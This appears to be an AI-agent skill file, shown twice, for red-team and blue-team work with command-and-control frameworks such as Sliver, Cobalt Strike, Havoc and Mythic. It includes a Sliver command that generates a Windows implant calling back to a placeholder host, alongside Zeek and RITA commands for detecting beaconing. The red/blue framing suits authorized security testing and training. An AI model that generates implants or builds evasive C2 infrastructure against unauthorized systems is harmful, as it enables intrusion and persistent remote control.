name: c2-frameworks
description: >-
Command and control framework operations covering Cobalt Strike deployment, Sliver C2
configuration, Havoc framework setup, DNS C2 channels, custom C2 protocol development,
beaconing pattern detection, C2 traffic analysis, redirector implementation,
infrastructure hunting, Mythic C2 configuration, domain fronting, and C2 evasion
techniques. Enables red team infrastructure operations and blue team detection with
Cobalt Strike, Sliver, Havoc, Mythic, and network analysis tooling.
domain: cybersecurity
subdomain: c2-frameworks
tags:
- c2-frameworks
- cobalt-strike
- sliver
- havoc
- dns-c2
- custom-c2
- beaconing
- traffic-analysis
- redirectors
- infrastructure-hunting
- mythic
- domain-fronting
- c2-evasion
- malleable-c2
- implants
- team-server
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
mitre-attack: ["T1071", "T1573", "T1090", "T1572", "T1001"]
cwe: ["CWE-300", "CWE-319", "CWE-693", "CWE-778", "CWE-941"]
frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]
C2 Frameworks
When to Use
Activate when the operator asks about C2 framework deployment, implant generation,
C2 traffic detection, infrastructure setup, redirector configuration, beaconing
analysis, or adversary infrastructure hunting.
Mode: [MODE: RED] for C2 deployment and operations; [MODE: BLUE] for C2 detection and hunting; [MODE: PURPLE] for detection engineering.
Prerequisites
- Tools:
cobalt-strike, sliver, havoc, mythic, wireshark, zeek
- Dedicated infrastructure for C2 operations
- Authorization and signed Rules of Engagement (RoE)
- Operator certificates and authentication configured
Quick Reference
| Technique |
Primary Tools |
CWE |
| Cobalt Strike |
Cobalt Strike, cs2modrewrite, Apache |
CWE-300 |
| Sliver C2 |
Sliver, sliver-client, cfssl |
CWE-300 |
| Havoc framework |
Havoc, havoc-client, golang |
CWE-300 |
| DNS C2 |
iodine, dnscat2, DNSStager |
CWE-300 |
| Custom C2 |
Python, Go, libsodium, protobuf |
CWE-300 |
| Beaconing detection |
RITA, Zeek, JA3, NetworkMiner |
CWE-300 |
| Traffic analysis |
Zeek, Wireshark, tshark, Arkime |
CWE-300 |
| Redirectors |
Apache, Nginx, socat, CloudFront |
CWE-300 |
| Infrastructure hunting |
JARM, Shodan, Censys, pDNS |
CWE-300 |
| Mythic C2 |
Mythic, Docker, mythic-cli |
CWE-300 |
| Domain fronting |
CloudFront, Azure CDN, Fastly |
CWE-300 |
| C2 evasion |
Malleable C2, JA3, traffic-shaper |
CWE-300 |
Workflow
Step 1: Plan Infrastructure
# Generate Malleable C2 profile
# Configure redirectors and team server
# Set up DNS records and certificates
Step 2: Deploy C2 Server
# Sliver example
sliver-server
# Generate implant
sliver > generate --mtls myc2.example.com --os windows --arch amd64 --save /tmp/implant.exe
Step 3: Monitor and Detect
# Zeek connection logging
zeek -r capture.pcap
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p
# RITA beaconing analysis
rita import capture.pcap -d engagement
rita show-beacons engagement
Verification
References
- MITRE ATT&CK — Adversary tactics and techniques
- CWE — Common Weakness Enumeration
- OWASP — Open Web Application Security Project
1---2name: c2-frameworks3description: <!-- Copyright (c) 2026 defconxt. All rights reserved. -->4---5
6<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
7<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
8<!-- CIPHER is a trademark of defconxt. -->
9---
10name: c2-frameworks
11description: >-
12 Command and control framework operations covering Cobalt Strike deployment, Sliver C2
13 configuration, Havoc framework setup, DNS C2 channels, custom C2 protocol development,
14 beaconing pattern detection, C2 traffic analysis, redirector implementation,
15 infrastructure hunting, Mythic C2 configuration, domain fronting, and C2 evasion
16 techniques. Enables red team infrastructure operations and blue team detection with
17 Cobalt Strike, Sliver, Havoc, Mythic, and network analysis tooling.
18domain: cybersecurity
19subdomain: c2-frameworks
20tags:
21 - c2-frameworks
22 - cobalt-strike
23 - sliver
24 - havoc
25 - dns-c2
26 - custom-c2
27 - beaconing
28 - traffic-analysis
29 - redirectors
30 - infrastructure-hunting
31 - mythic
32 - domain-fronting
33 - c2-evasion
34 - malleable-c2
35 - implants
36 - team-server
37version: "1.0"
38author: defconxt
39license: AGPL-3.0
40compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
41metadata:
42 mitre-attack: ["T1071", "T1573", "T1090", "T1572", "T1001"]
43 cwe: ["CWE-300", "CWE-319", "CWE-693", "CWE-778", "CWE-941"]
44 frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]
45---
46
47# C2 Frameworks
48
49## When to Use
50
51Activate when the operator asks about C2 framework deployment, implant generation,
52C2 traffic detection, infrastructure setup, redirector configuration, beaconing
53analysis, or adversary infrastructure hunting.
54
55Mode: `[MODE: RED]` for C2 deployment and operations; `[MODE: BLUE]` for C2 detection and hunting; `[MODE: PURPLE]` for detection engineering.
56
57## Prerequisites
58
59- Tools: `cobalt-strike`, `sliver`, `havoc`, `mythic`, `wireshark`, `zeek`
60- Dedicated infrastructure for C2 operations
61- Authorization and signed Rules of Engagement (RoE)
62- Operator certificates and authentication configured
63
64## Quick Reference
65
66| Technique | Primary Tools | CWE |
67|-----------|--------------|-----|
68| Cobalt Strike | Cobalt Strike, cs2modrewrite, Apache | CWE-300 |
69| Sliver C2 | Sliver, sliver-client, cfssl | CWE-300 |
70| Havoc framework | Havoc, havoc-client, golang | CWE-300 |
71| DNS C2 | iodine, dnscat2, DNSStager | CWE-300 |
72| Custom C2 | Python, Go, libsodium, protobuf | CWE-300 |
73| Beaconing detection | RITA, Zeek, JA3, NetworkMiner | CWE-300 |
74| Traffic analysis | Zeek, Wireshark, tshark, Arkime | CWE-300 |
75| Redirectors | Apache, Nginx, socat, CloudFront | CWE-300 |
76| Infrastructure hunting | JARM, Shodan, Censys, pDNS | CWE-300 |
77| Mythic C2 | Mythic, Docker, mythic-cli | CWE-300 |
78| Domain fronting | CloudFront, Azure CDN, Fastly | CWE-300 |
79| C2 evasion | Malleable C2, JA3, traffic-shaper | CWE-300 |
80
81## Workflow
82
83### Step 1: Plan Infrastructure
84
85```bash
86# Generate Malleable C2 profile
87# Configure redirectors and team server
88# Set up DNS records and certificates
89```
90
91### Step 2: Deploy C2 Server
92
93```bash
94# Sliver example
95sliver-server
96
97# Generate implant
98sliver > generate --mtls myc2.example.com --os windows --arch amd64 --save /tmp/implant.exe
99```
100
101### Step 3: Monitor and Detect
102
103```bash
104# Zeek connection logging
105zeek -r capture.pcap
106cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p
107
108# RITA beaconing analysis
109rita import capture.pcap -d engagement
110rita show-beacons engagement
111```
112
113
114
115## Verification
116
117- [ ] All tools installed and operational
118- [ ] Target acquired through authorized channels
119- [ ] Analysis completed with findings documented
120- [ ] Detection opportunities identified for blue team
121- [ ] Artifacts preserved and report generated
122
123## References
124
125- [MITRE ATT&CK](https://attack.mitre.org/) — Adversary tactics and techniques
126- [CWE](https://cwe.mitre.org/) — Common Weakness Enumeration
127- [OWASP](https://owasp.org/) — Open Web Application Security Project
majiayu000